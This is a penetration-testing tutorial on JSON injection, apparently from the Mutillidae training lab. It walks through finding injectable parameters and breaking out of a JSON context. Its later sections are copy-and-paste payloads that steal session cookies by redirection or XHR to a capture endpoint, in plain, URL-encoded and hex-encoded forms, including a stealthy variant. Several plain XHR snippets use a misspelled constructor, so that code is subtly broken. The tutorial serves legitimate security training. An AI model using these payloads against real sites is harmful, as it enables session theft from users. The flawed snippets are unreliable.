JavaScript Object Notation (JSON) Injection


Overview

JSON injection may occcur when user or attacker controlled input is later incorporated without being encoded into the web server response. In other words, the attacker can send input which later is incorporated into the JSON response.

YouTubeVideo Tutorials

Discovery Methodology

JSON injection starts like any injection; find the possible input parameters including adding custom parameters (parameter addition attack) to see if the application will process them and place those inputs into the JSON returned by the server. (If we cannot get our input into the JSON returned by the server, we cannot inject the JSON.)

Finding input parameters can be done using an ordinary Firefox browser. No special tools are required. This particular page has a drop down which is an input. Developers sometimes think that they control the web page. This of course is incorrect. The web page is running in the users browser. The user can do anything they want like change the page using Firebug. If you dont like that drop-down, change it to an input box. Then you can type in whatever you like.

Inputs can be found more efficiently and more consistently using repeatable processes executed with interception-proxies you are familiar with through practice. A simple, easy to use interception proxy is Tamper Data. It is a plugin for Firefox. It is quick but limited in ability. Still it is a great add-on for quick and dirty testing.

A better interception proxy is Burp-Suite. The free version is quite capible and the Pro version is worth every penny to a professional. The drawback to Burp is that the browser must be proxied to Burp and the tool has a learning curve. For new users, the concept of proxying the browser to another peice of software rather than just browsing to a site can be weird. You only have to learn once. The Proxy Selector add-on for Firefox can make switching between Burp and no proxy easier.

Browse to this page with Burp as the proxy. Look in the "Proxy" tab, then the "Intercept" sub-tab to see the raw request. If new, use the "Params" sub-sub-tab to aid in understanding the input parameters to the page.

If we look at the capture by Burp, we can see some input areas. They are marked with the funny symbols in this example capture.
POST /mutillidae/index.php?page=�pen-test-tool-lookup.php� HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 DNT: 1 Proxy-Connection: keep-alive Referer: http://localhost/mutillidae/index.php?page=pen-test-tool-lookup.php Cookie: PHPSESSID=�u0at2rs1d2m69m5qm2mtqsko22� Content-Type: application/x-www-form-urlencoded Content-Length: 59 ToolID=�7�&pen-test-tool-lookup-php-submit-button=�Lookup+Tool�
JSON Injection: Finding injection point

With input points identified, we send recognizable input then check the JSON returned by the server to see if our canary is located in the JSON. Burp is a good tool for this because the "Intruder" can automatically inject each input then tell us if it sees that input in the response from the server. Tools are not neccesary. We could just as easily check the server response by viewing the source of the web page after we inject canaries but tools can make this process more efficient once the learning curve of the tool is overcome.

If we send the word "CANARY" into each input, we can see if that input ends up in the response generically (great for cross site scripting) or specifically in the JSON (which means we might be able to perform JSON injection). You can inject with Firebug by adding "CANARY" into the tool list drop down, use Burp, use Tamper Data, or other methods.

On this page, the value sent in one particular parameter "ToolID" seems to show up in the response JSON. This is potentially good (or potentially bad if your the developer). Lets inject ToolID and looks at the resulting JSON.

Get the response using your favorite method and search for your input ("Canary" in this example). Here is a greatly truncated example response.
try{ var gPenTestToolsJSON = ( {"query": { "toolIDRequested": "CANARY", "penTestTools": []}} ); }catch(e){ alert("Error trying to evaluate JSON: " + e.message); };
Note the developer outputs the value of the "ToolID" parameter into the JSON. If the developer encodes the output as a JavaScript string, this is ok. The OWASP ESAPI includes a method "encodeForJavaScript()" which performs this encoding.

Did the developer encode the output? We will check to find out. If the developer did not encode, chances are the JSON is vulnerable. (What if the developer used input validation? In that case, try to use SQL injection to inject the payload into the database table from which the data is fetched. Output encoding will protect the site even if the database is infected by a worm, SQLi, or a rouge DBA.

To check for encoding, send it characters which most certainly should be encoded. This would be any characters that are not alphanumeric. This example will use the string "{\'"CANARY"\'}" so we can test a few useful characters in one test (single-quotes, double-quotes, parenthesis are all handy). Here is the response. We note that the site has a defect as the characters are not output encoded. Again this is just a fraction of the response.
try{ var gPenTestToolsJSON = ( {"query": { "toolIDRequested": "{\'"CANARY"\'}", "penTestTools": []}} ); }catch(e){ alert("Error trying to evaluate JSON: " + e.message); };
As usual, pen-testing is a lot of mapping and discovery research followed by a short exploit. So far we found the inputs into the page, figured out which input is output into the JSON, figured out where in the JSON the output lands, and figured out the output is not properly encoded due to a defect.

Exploitation

Web pages offer choices because there is more than one interpreter listening. There is obviously an HTML interpreter and perhaps slightly less obvious there is a JavaScript interpreter listenting. We could also choose to poison the existing JSON context rather than break-out into HTML or JavaScript. Perhaps we could poison the JSON with false values of our choosing. Lets choose to break-out into JavaScript and execute some JavaScript code of our choosing as an example.

This requires determining how to "escape" the currrent context so we can start a new command. The context is JSON. We want to break-out or escape the JSON and execute some JavaScript. We need to look where our canary landed carefully so we can end the current JSON statement and start a new JavaScript code statement. We need to insert characters to end the JSON by completing the JSON with the characters that would naturally end the JSON. Work backwards from the canary and notate each character that "opened". We have a double-quote that quotes our canary, before that an open curly-brace after "query", another open curly-brace before "query", and that opening parenthsis. try{ var gPenTestToolsJSON = ( {"query": { "toolIDRequested": "
To break out of the JSON context, we just insert those characters counterparts to "close-out" those opening characters. When injecting JavaScript it is a good idea to also add a semicolon to our "close-out" because valid JavaScript statements end in semi-colons. To deal with all the JSON that comes after our canary, we will insert a comment to comment all that ending JSON out. Between our "close-out" characters and our ending comment goes our payload. We chose JavaScript so our payload will be a well-formed JavaScript statement.

Be careful. It is important to end the statement exactly as it started. Watch out for spaces that matter and be certain the order of the characters injected complements the characters being closed-out. Assuming a simple alert statement is our payload, lets match each character one-by-one. The double-quote, first curly-brace, second curly-brace, closing parenthesis, then a semi-colon terminate the JSON. We inject our payload next, then a comment to comment-out what would have become the rest of the JSON. NOTE: We URL encode certain characters (i.e. semi-colons) because they could break the web server otherwise making the web-server return a 500 error.
try{ var gPenTestToolsJSON = ( {"query": { "toolIDRequested": ""}} )%3balert(1)%3b//
All together the injection looks like this example. Inject this exploit instead of the word "canary".

"}} )%3balert(1)%3b//
Using Burp capture or View Source, view the response. Also note the popup in your browser. The JavaScript injection is complete.
try{ var gPenTestToolsJSON = ( {"query": {"toolIDRequested": ""}} );alert(1);//", "penTestTools": []}} ); }catch(e){ alert("Error trying to evaluate JSON: " + e.message); };

Task for student: Perform an HTML injection then a JSON injection.

Advanced Injections

Following the pattern of identifying an injection point, determining a prefix to close out existing code, a payload, and a suffix to comment out (or complete) existing trailing code, we can gradually increase our payload until the desired affect is achived.

The initial goal is to prove injected code will execute.

Beginner: Pop up an alert box to show injection worked

Unencoded: "}} );alert(1);//
Complete Injection: "}} )%3balert(1)%3b//
Prefix: "}} )%3b
Payload: alert(1)%3b
Suffix: //

Copy and Paste:
"}} )%3balert(1)%3b//


Intermediate: Steal cookie with redirection

Unencoded:"}} );document.location="http://localhost/mutillidae/capture-data.php?cookie=" + document.cookie;//
Prefix:"}} )%3b
Payload:document.location%3d%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3b
Suffix://
Complete Injection: "}} )%3bdocument.location%3d%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3b//

Copy and Paste:
"}} )%3bdocument.location%3d%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3b//

Professional: Steal cookies with XHR injection
--------------------------------------------------------------------------------
Generic XHR using GET and lXMLHTTPRequest to steal cookies
- prefix and suffix as neccesary
- This is optimized for Firefox which has lXMLHTTPRequest. Some newer IE will as well.
NOTE: During Reconnassaince, study your target to determine what kind of browser
they have so the scripts can be tailored and testing for those browsers.
--------------------------------------------------------------------------------

This is a "UDP-style GET". We fire and forget but cannot know if succeeded or failed. Perfect for using against savvy users.

Copy and Paste:
<script> var lXMLHTTP; try{ var lAction = "http://localhost/mutillidae/capture-data.php?cookie=" + document.cookie; lXMLHTTP = new lXMLHTTPRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); }catch(e){} </script>
--------------------------------------
URL Encoded Version
--------------------------------------
Prefix: "}} )%3b
Payload: var+lXMLHTTP%3btry%7b+var+lAction+%3d+%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3blXMLHTTP+%3d+new+lXMLHTTPRequest()%3b+lXMLHTTP.onreadystatechange+%3d+function()%7b%7d%3blXMLHTTP.open(%22GET%22%2c+lAction)%3blXMLHTTP.send(%22%22)%3b%7dcatch(e)%7b%7d
Suffix: //
Complete Injection: "}} )%3bvar+lXMLHTTP%3btry%7b+var+lAction+%3d+%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3blXMLHTTP+%3d+new+lXMLHTTPRequest()%3b+lXMLHTTP.onreadystatechange+%3d+function()%7b%7d%3blXMLHTTP.open(%22GET%22%2c+lAction)%3blXMLHTTP.send(%22%22)%3b%7dcatch(e)%7b%7d//

Copy and Paste:
"}} )%3bvar+lXMLHTTP%3btry%7b+var+lAction+%3d+%22http%3a%2f%2flocalhost%2fmutillidae%2fcapture-data.php%3fcookie%3d%22+%2b+document.cookie%3blXMLHTTP+%3d+new+lXMLHTTPRequest()%3b+lXMLHTTP.onreadystatechange+%3d+function()%7b%7d%3blXMLHTTP.open(%22GET%22%2c+lAction)%3blXMLHTTP.send(%22%22)%3b%7dcatch(e)%7b%7d//
Steal cookies with XHR injection, Page operates normally


Prefix:
16", "penTestTools": [{"tool_id":"16","tool_name":"Dig","phase_to_use":"Reconnaissance","tool_type":"DNS Server Query Tool","comment":"The Domain Information Groper is prefered on Linux over NSLookup and provides more information natively. NSLookup must be in debug mode to give similar output. DIG can perform zone transfers if the DNS server allows transfers."}]}} );

Payload:
try{ var lAction = "http://localhost/mutillidae/capture-data.php?cookie=" + document.cookie; lXMLHTTP = new lXMLHTTPRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); }catch(e){};

Suffix:
//

Complete Injection:
16", "penTestTools": [{"tool_id":"16","tool_name":"Dig","phase_to_use":"Reconnaissance","tool_type":"DNS Server Query Tool","comment":"The Domain Information Groper is prefered on Linux over NSLookup and provides more information natively. NSLookup must be in debug mode to give similar output. DIG can perform zone transfers if the DNS server allows transfers."}]}} ); try{ var lAction = "http://localhost/mutillidae/capture-data.php?cookie=" + document.cookie; lXMLHTTP = new lXMLHTTPRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); }catch(e){};//

Copy and Paste:
%31%36%22%2c%20%22%70%65%6e%54%65%73%74%54%6f%6f%6c%73%22%3a%20%5b%7b%22%74%6f%6f%6c%5f%69%64%22%3a%22%31%36%22%2c%22%74%6f%6f%6c%5f%6e%61%6d%65%22%3a%22%44%69%67%22%2c%22%70%68%61%73%65%5f%74%6f%5f%75%73%65%22%3a%22%52%65%63%6f%6e%6e%61%69%73%73%61%6e%63%65%22%2c%22%74%6f%6f%6c%5f%74%79%70%65%22%3a%22%44%4e%53%20%53%65%72%76%65%72%20%51%75%65%72%79%20%54%6f%6f%6c%22%2c%22%63%6f%6d%6d%65%6e%74%22%3a%22%54%68%65%20%44%6f%6d%61%69%6e%20%49%6e%66%6f%72%6d%61%74%69%6f%6e%20%47%72%6f%70%65%72%20%69%73%20%70%72%65%66%65%72%65%64%20%6f%6e%20%4c%69%6e%75%78%20%6f%76%65%72%20%4e%53%4c%6f%6f%6b%75%70%20%61%6e%64%20%70%72%6f%76%69%64%65%73%20%6d%6f%72%65%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%20%6e%61%74%69%76%65%6c%79%2e%20%4e%53%4c%6f%6f%6b%75%70%20%6d%75%73%74%20%62%65%20%69%6e%20%64%65%62%75%67%20%6d%6f%64%65%20%74%6f%20%67%69%76%65%20%73%69%6d%69%6c%61%72%20%6f%75%74%70%75%74%2e%20%44%49%47%20%63%61%6e%20%70%65%72%66%6f%72%6d%20%7a%6f%6e%65%20%74%72%61%6e%73%66%65%72%73%20%69%66%20%74%68%65%20%44%4e%53%20%73%65%72%76%65%72%20%61%6c%6c%6f%77%73%20%74%72%61%6e%73%66%65%72%73%2e%22%7d%5d%7d%7d%20%29%3b%20%74%72%79%7b%20%76%61%72%20%6c%41%63%74%69%6f%6e%20%3d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%2f%6d%75%74%69%6c%6c%69%64%61%65%2f%63%61%70%74%75%72%65%2d%64%61%74%61%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%22%20%2b%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%20%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%20%6c%58%4d%4c%48%54%54%50%2e%6f%6e%72%65%61%64%79%73%74%61%74%65%63%68%61%6e%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%3b%20%6c%58%4d%4c%48%54%54%50%2e%6f%70%65%6e%28%22%47%45%54%22%2c%20%6c%41%63%74%69%6f%6e%29%3b%20%6c%58%4d%4c%48%54%54%50%2e%73%65%6e%64%28%22%22%29%3b%20%7d%63%61%74%63%68%28%65%29%7b%7d%3b%2f%2f

Videos


YouTubeSQL Injection via AJAX request with JSON response
YouTubeWeb Pen Testing HTML 5 Web Storage using JSON Injection
YouTubeStealing HTML5 Storage via JSON Injection